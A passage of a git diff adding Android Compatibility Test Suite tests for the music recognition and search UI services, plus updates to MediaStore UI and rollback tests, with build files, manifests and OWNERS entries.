+# Bug component: 830636
+
+chfrank@google.com
+joannechung@google.com
+oni@google.com
+volnov@google.com
diff --git a/tests/musicrecognition/OutsideOfPackageService/Android.bp b/tests/musicrecognition/OutsideOfPackageService/Android.bp
new file mode 100644
index 0000000..24eac55
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsOutsideOfPackageService",
+ defaults: ["cts_defaults"],
+ sdk_version: "system_current",
+ static_libs: [
+ "androidx.annotation_annotation",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ srcs: ["src/**/*.java"],
+}
diff --git a/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
new file mode 100644
index 0000000..88990fc
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.musicrecognition.cts2"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <service android:name=".OutsideOfPackageService"
+ android:label="OutsideOfPackage"
+ android:exported="true">
+ </service>
+ </application>
+</manifest>
diff --git a/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
new file mode 100644
index 0000000..1e0608a6
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.musicrecognition.cts2;
+
+import android.media.AudioFormat;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.ParcelFileDescriptor;
+
+import androidx.annotation.NonNull;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class OutsideOfPackageService extends MusicRecognitionService {
+
+ @Override
+ public void onRecognize(@NonNull ParcelFileDescriptor stream,
+ @NonNull AudioFormat audioFormat,
+ @NonNull Callback callback) {
+ throw new RuntimeException("unexpected call to onRecognize!");
+ }
+}
diff --git a/tests/musicrecognition/TEST_MAPPING b/tests/musicrecognition/TEST_MAPPING
new file mode 100644
index 0000000..612fa47
--- /dev/null
+++ b/tests/musicrecognition/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsMusicRecognitionTestCases"
+ }
+ ]
+}
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
new file mode 100644
index 0000000..d100fed
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.musicrecognition.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.media.AudioFormat;
+import android.media.MediaMetadata;
+import android.media.musicrecognition.MusicRecognitionManager;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+
+import androidx.annotation.NonNull;
+
+import com.google.common.io.ByteStreams;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class CtsMusicRecognitionService extends MusicRecognitionService {
+ public static final ComponentName SERVICE_COMPONENT = new ComponentName(
+ "android.musicrecognition.cts", CtsMusicRecognitionService.class.getName());
+
+ private static Watcher sWatcher;
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ sWatcher.destroyed.countDown();
+ }
+
+ @Override
+ public void onRecognize(@NonNull ParcelFileDescriptor stream,
+ @NonNull AudioFormat audioFormat,
+ @NonNull Callback callback) {
+ if (sWatcher.failureCode != 0) {
+ callback.onRecognitionFailed(sWatcher.failureCode);
+ } else {
+ sWatcher.stream = readStream(stream);
+ callback.onRecognitionSucceeded(sWatcher.result, sWatcher.resultExtras);
+ }
+ }
+
+ private byte[] readStream(ParcelFileDescriptor stream) {
+ ParcelFileDescriptor.AutoCloseInputStream fis =
+ new ParcelFileDescriptor.AutoCloseInputStream(stream);
+ try {
+ return ByteStreams.toByteArray(fis);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public static Watcher setWatcher() {
+ if (sWatcher != null) {
+ throw new IllegalStateException("Set watcher with watcher already set");
+ }
+ sWatcher = new Watcher();
+ return sWatcher;
+ }
+
+ public static void clearWatcher() {
+ sWatcher = null;
+ }
+
+ public static final class Watcher {
+ private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 30_000;
+
+ public CountDownLatch destroyed = new CountDownLatch(1);
+ public int failureCode = 0;
+ public byte[] stream;
+ public MediaMetadata result;
+ public Bundle resultExtras;
+
+ public void awaitOnDestroy() {
+ await(destroyed, "Waiting for service destroyed");
+ }
+
+ private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+ try {
+ assertWithMessage(message).that(
+ latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ throw new IllegalStateException("Interrupted while: " + message);
+ }
+ }
+ }
+}
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
new file mode 100644
index 0000000..54e5f69
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.musicrecognition.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaMetadata;
+import android.media.MediaRecorder;
+import android.media.musicrecognition.MusicRecognitionManager;
+import android.media.musicrecognition.RecognitionRequest;
+import android.os.Binder;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.ShellUtils;
+
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Captor;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+/**
+ * Tests for {@link MusicRecognitionManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class MusicRecognitionManagerTest {
+ private static final String TAG = MusicRecognitionManagerTest.class.getSimpleName();
+ private static final long VERIFY_TIMEOUT_MS = 40_000;
+
+ @Rule public TestName mTestName = new TestName();
+ @Rule
+ public final RequiredServiceRule mRequiredServiceRule =
+ new RequiredServiceRule(Context.MUSIC_RECOGNITION_SERVICE);
+
+ private MusicRecognitionManager mManager;
+ private CtsMusicRecognitionService.Watcher mWatcher;
+ @Mock MusicRecognitionManager.RecognitionCallback mCallback;
+ @Captor ArgumentCaptor<Bundle> mBundleCaptor;
+
+ @Before
+ public void setUp() {
+ MockitoAnnotations.initMocks(this);
+ // Grant permission to call the api.
+ escalateTestPermissions();
+
+ mManager = getContext().getSystemService(MusicRecognitionManager.class);
+ mWatcher = CtsMusicRecognitionService.setWatcher();
+ // Tell MusicRecognitionManagerService to use our no-op service instead.
+ setService(CtsMusicRecognitionService.SERVICE_COMPONENT.flattenToString());
+ }
+
+ @After
+ public void tearDown() {
+ resetService();
+ mWatcher = null;
+ CtsMusicRecognitionService.clearWatcher();
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ }
+
+ @Test
+ public void testOnRecognitionFailed() throws Exception {
+ mWatcher.failureCode = MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY;
+
+ invokeMusicRecognitionApi();
+
+ verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+ verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+ eq(MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY));
+ verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+ }
+
+ @Test
+ public void testOnRecognitionSucceeded() throws Exception {
+ mWatcher.result = new MediaMetadata.Builder()
+ .putString(MediaMetadata.METADATA_KEY_ARTIST, "artist")
+ .putString(MediaMetadata.METADATA_KEY_TITLE, "title")
+ .build();
+
+ RecognitionRequest request = invokeMusicRecognitionApi();
+
+ verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+ verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+ eq(mWatcher.result), eq(null));
+ verify(mCallback, never()).onRecognitionFailed(any(), anyInt());
+ // 8 seconds minus 16k frames dropped from the beginning.
+ assertThat(mWatcher.stream).hasLength(256_000 - 32_000);
+ }
+
+ @Test
+ public void testRemovesBindersFromBundle() throws Exception {
+ ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+ mWatcher.result = new MediaMetadata.Builder().build();
+ mWatcher.resultExtras = new Bundle();
+ mWatcher.resultExtras.putString("stringKey", "stringValue");
+ mWatcher.resultExtras.putBinder("binderKey", new Binder());
+ mWatcher.resultExtras.putParcelable("fdKey", pipe[0]);
+
+ RecognitionRequest request = invokeMusicRecognitionApi();
+
+ verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+ verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+ eq(mWatcher.result), mBundleCaptor.capture());
+
+ assertThat(mBundleCaptor.getValue().getString("stringKey")).isEqualTo("stringValue");
+ // Binder and file descriptor removed.
+ assertThat(mBundleCaptor.getValue().size()).isEqualTo(1);
+
+ pipe[0].close();
+ pipe[1].close();
+ }
+
+ /**
+ * Verifies the shell override is only allowed when the caller of the api is also the owner of
+ * the override service.
+ */
+ @Test
+ public void testDoesntBindToForeignService() {
+ setService(
+ "android.musicrecognition.cts2/android.musicrecognition.cts2"
+ + ".OutsideOfPackageService");
+
+ invokeMusicRecognitionApi();
+
+ verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+ eq(MusicRecognitionManager.RECOGNITION_FAILED_SERVICE_UNAVAILABLE));
+ verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+ }
+
+ private RecognitionRequest invokeMusicRecognitionApi() {
+ AudioRecord record = new AudioRecord(MediaRecorder.AudioSource.MIC, 16_000,
+ AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, 256_000);
+
+ RecognitionRequest request = new RecognitionRequest.Builder()
+ .setAudioAttributes(new AudioAttributes.Builder()
+ .setInternalCapturePreset(MediaRecorder.AudioSource.MIC)
+ .build())
+ .setAudioFormat(record.getFormat())
+ .setCaptureSession(record.getAudioSessionId())
+ .setMaxAudioLengthSeconds(8)
+ // Drop the first second of audio.
+ .setIgnoreBeginningFrames(16_000)
+ .build();
+ mManager.beginStreamingSearch(
+ request,
+ MoreExecutors.directExecutor(),
+ mCallback);
+ return request;
+ }
+
+ /**
+ * Sets the music recognition service.
+ */
+ private static void setService(@NonNull String service) {
+ Log.d(TAG, "Setting music recognition service to " + service);
+ int userId = android.os.Process.myUserHandle().getIdentifier();
+ runShellCommand(
+ "cmd music_recognition set temporary-service %d %s 60000", userId, service);
+ }
+
+ private static void resetService() {
+ Log.d(TAG, "Resetting music recognition service");
+ int userId = android.os.Process.myUserHandle().getIdentifier();
+ runShellCommand("cmd music_recognition set temporary-service %d", userId);
+ }
+
+ private static void escalateTestPermissions() {
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+ "android.permission.MANAGE_MUSIC_RECOGNITION");
+ }
+}
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 6778b69..49876de 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.app.Activity;
@@ -38,13 +39,17 @@
import android.os.storage.StorageManager;
import android.os.storage.StorageVolume;
import android.os.UserManager;
+import android.provider.DocumentsContract;
import android.provider.MediaStore;
import android.provider.cts.ProviderTestUtils;
import android.providerui.cts.GetResultActivity.Result;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.system.Os;
import android.text.format.DateUtils;
@@ -76,6 +81,7 @@
private static final String TAG = "MediaStoreUiTest";
private static final int REQUEST_CODE = 42;
+ private static final long TIMEOUT_MILLIS = 30 * DateUtils.SECOND_IN_MILLIS;
private Instrumentation mInstrumentation;
private Context mContext;
@@ -210,31 +216,43 @@
Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
}
- private Uri acquireAccess(File file, String directoryName) {
+ private void assertToolbarTitleEquals(String targetPackageName, String label)
+ throws UiObjectNotFoundException {
+ final UiSelector toolbarUiSelector = new UiSelector().resourceId(
+ targetPackageName + ":id/toolbar");
+ final UiSelector titleTextSelector = new UiSelector().className(
+ "android.widget.TextView").text(label);
+ final UiObject title = new UiObject(toolbarUiSelector.childSelector(titleTextSelector));
+
+ assertTrue(title.waitForExists(TIMEOUT_MILLIS));
+ }
+
+ private Uri acquireAccess(File file, String directoryName) throws Exception {
StorageManager storageManager =
(StorageManager) mActivity.getSystemService(Context.STORAGE_SERVICE);
// Request access from DocumentsUI
final StorageVolume volume = storageManager.getStorageVolume(file);
final Intent intent = volume.createOpenDocumentTreeIntent();
+
+ // launch the directory directly to avoid unexpected UiObject not found issue
+ final Uri rootUri = intent.getParcelableExtra(DocumentsContract.EXTRA_INITIAL_URI);
+ final String rootId = DocumentsContract.getRootId(rootUri);
+ final String documentId = rootId + ":" + directoryName;
+ intent.putExtra(DocumentsContract.EXTRA_INITIAL_URI,
+ DocumentsContract.buildDocumentUri(rootUri.getAuthority(), documentId));
mActivity.startActivityForResult(intent, REQUEST_CODE);
if (mTargetPackageName == null) {
mTargetPackageName = getTargetPackageName(mActivity);
}
-
- // We started at the root of the storage device, and need to navigate
- // into the requested directory
- final BySelector directorySelector = By.pkg(mTargetPackageName)
- .text(directoryName);
- mDevice.wait(Until.hasObject(directorySelector), 30 * DateUtils.SECOND_IN_MILLIS);
- mDevice.findObject(directorySelector).click();
mDevice.waitForIdle();
+ assertToolbarTitleEquals(mTargetPackageName, directoryName);
// Granting the access
BySelector buttonPanelSelector = By.pkg(mTargetPackageName)
.res(mTargetPackageName + ":id/container_save");
- mDevice.wait(Until.hasObject(buttonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+ mDevice.wait(Until.hasObject(buttonPanelSelector), TIMEOUT_MILLIS);
final UiObject2 buttonPanel = mDevice.findObject(buttonPanelSelector);
final UiObject2 allowButton = buttonPanel.findObject(By.res("android:id/button1"));
allowButton.click();
@@ -243,7 +261,7 @@
// Granting the access by click "allow" in confirm dialog
final BySelector dialogButtonPanelSelector = By.pkg(mTargetPackageName)
.res(mTargetPackageName + ":id/buttonPanel");
- mDevice.wait(Until.hasObject(dialogButtonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+ mDevice.wait(Until.hasObject(dialogButtonPanelSelector), TIMEOUT_MILLIS);
final UiObject2 positiveButton = mDevice.findObject(dialogButtonPanelSelector)
.findObject(By.res("android:id/button1"));
positiveButton.click();
@@ -257,7 +275,7 @@
final Uri resultUri = resultIntent.getData();
final int flags = resultIntent.getFlags()
& (Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
mActivity.getContentResolver().takePersistableUriPermission(resultUri, flags);
return resultUri;
}
diff --git a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
index b6844de..878ccb1 100644
--- a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
+++ b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
@@ -23,6 +23,7 @@
import android.Manifest;
import android.content.rollback.RollbackInfo;
+import android.provider.DeviceConfig;
import androidx.test.InstrumentationRegistry;
@@ -57,7 +58,9 @@
.adoptShellPermissionIdentity(
Manifest.permission.INSTALL_PACKAGES,
Manifest.permission.DELETE_PACKAGES,
- Manifest.permission.TEST_MANAGE_ROLLBACKS);
+ Manifest.permission.TEST_MANAGE_ROLLBACKS,
+ Manifest.permission.READ_DEVICE_CONFIG,
+ Manifest.permission.WRITE_DEVICE_CONFIG);
Uninstall.packages(TestApp.A);
}
@@ -129,4 +132,30 @@
InstallUtils.getPackageInstaller().abandonSession(sessionId);
}
}
+
+ /**
+ * Test that flags are cleared when a rollback is committed.
+ */
+ @Test
+ public void testRollbackClearsFlags() throws Exception {
+ Install.single(TestApp.A1).commit();
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ RollbackUtils.waitForRollbackGone(
+ () -> getRollbackManager().getAvailableRollbacks(), TestApp.A);
+
+ Install.single(TestApp.A2).setEnableRollback().commit();
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
+
+ DeviceConfig.setProperty("configuration", "namespace_to_package_mapping",
+ "testspace:" + TestApp.A, false);
+ DeviceConfig.setProperty("testspace", "flagname", "hello", false);
+ DeviceConfig.setProperty("testspace", "another", "12345", false);
+ assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(2);
+
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+
+ assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(0);
+ }
}
diff --git a/tests/searchui/Android.bp b/tests/searchui/Android.bp
new file mode 100644
index 0000000..d06550f
--- /dev/null
+++ b/tests/searchui/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsSearchUiServiceTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "androidx.test.ext.junit",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ "testng",
+ ],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/tests/searchui/AndroidManifest.xml b/tests/searchui/AndroidManifest.xml
new file mode 100644
index 0000000..589c052
--- /dev/null
+++ b/tests/searchui/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.searchuiservice.cts"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+
+ <service android:name=".CtsSearchUiService"
+ android:label="CtsSearchUiService"
+ android:exported="true">
+ <intent-filter>
+ <!-- This constant must match SearchUiService.SERVICE_INTERFACE -->
+ <action android:name="android.service.search.SearchUiService"/>
+ </intent-filter>
+ </service>
+
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for the Search Ui Framework APIs."
+ android:targetPackage="android.searchuiservice.cts">
+ </instrumentation>
+
+</manifest>
diff --git a/tests/searchui/AndroidTest.xml b/tests/searchui/AndroidTest.xml
new file mode 100644
index 0000000..c033f4c
--- /dev/null
+++ b/tests/searchui/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for Search UI Service CTS tests.">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsSearchUiServiceTestCases.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.searchuiservice.cts" />
+ <!-- 20x default timeout of 600sec -->
+ <option name="shell-timeout" value="12000000"/>
+ </test>
+
+</configuration>
diff --git a/tests/searchui/OWNERS b/tests/searchui/OWNERS
new file mode 100644
index 0000000..534f688
--- /dev/null
+++ b/tests/searchui/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 758286
+hyunyoungs@google.com
diff --git a/tests/searchui/TEST_MAPPING b/tests/searchui/TEST_MAPPING
new file mode 100644
index 0000000..1135ad2
--- /dev/null
+++ b/tests/searchui/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsSearchUiServiceTestCases"
+ }
+ ]
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
new file mode 100644
index 0000000..583602f
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSessionId;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.content.Intent;
+import android.service.search.SearchUiService;
+import android.util.Log;
+
+import org.mockito.Mockito;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.List;
+import java.util.function.Consumer;
+
+public class CtsSearchUiService extends SearchUiService {
+
+ private static final boolean DEBUG = false;
+ private static final String TAG = CtsSearchUiService.class.getSimpleName();
+
+ public static final String MY_PACKAGE = "android.searchuiservice.cts";
+ public static final String SERVICE_NAME = MY_PACKAGE + "/."
+ + CtsSearchUiService.class.getSimpleName();
+
+ private static Watcher sWatcher;
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ if (DEBUG) Log.d(TAG, "onCreate");
+
+ }
+
+ @Override
+ public void onDestroy(SearchSessionId sessionId) {
+ if (DEBUG) Log.d(TAG, "onDestroy");
+ super.onDestroy();
+ sWatcher.destroyed.countDown();
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ if (DEBUG) Log.d(TAG, "unbind");
+ return super.onUnbind(intent);
+ }
+
+ @Override
+ public void onCreateSearchSession(SearchContext context,
+ SearchSessionId sessionId) {
+ if (DEBUG) Log.d(TAG, "onCreateSearchSession");
+
+ if (sWatcher.verifier != null) {
+ Log.e(TAG, "onCreateSearchSession, trying to set verifier when it already exists");
+ }
+ sWatcher.verifier = Mockito.mock(CtsSearchUiService.class);
+ sWatcher.created.countDown();
+ }
+
+ @Override
+ public void onNotifyEvent(SearchSessionId sessionId,
+ Query input, SearchTargetEvent event) {
+ if (DEBUG){
+ Log.d(TAG, "onNotifyEvent query=" + input.toString() + ", event="
+ + event.toString());
+ }
+ sWatcher.verifier.onNotifyEvent(sessionId, input, event);
+ }
+
+ @Override
+ public void onQuery(SearchSessionId sessionId, Query input,
+ Consumer<List<SearchTarget>> callback) {
+ if (DEBUG) Log.d(TAG, "onQuery query=" + input.toString());
+ if (sWatcher.searchTargets != null) {
+ callback.accept(sWatcher.searchTargets);
+ } else {
+ sWatcher.verifier.onQuery(sessionId, input, callback);
+ }
+ }
+
+ public static Watcher setWatcher() {
+ if (DEBUG) {
+ Log.d(TAG, "");
+ Log.d(TAG, "----------------------------------------------");
+ Log.d(TAG, " setWatcher");
+ }
+ if (sWatcher != null) {
+ throw new IllegalStateException("Set watcher with watcher already set");
+ }
+ sWatcher = new Watcher();
+ return sWatcher;
+ }
+
+ public static void clearWatcher() {
+ if (DEBUG) Log.d(TAG, "clearWatcher");
+ sWatcher = null;
+ }
+
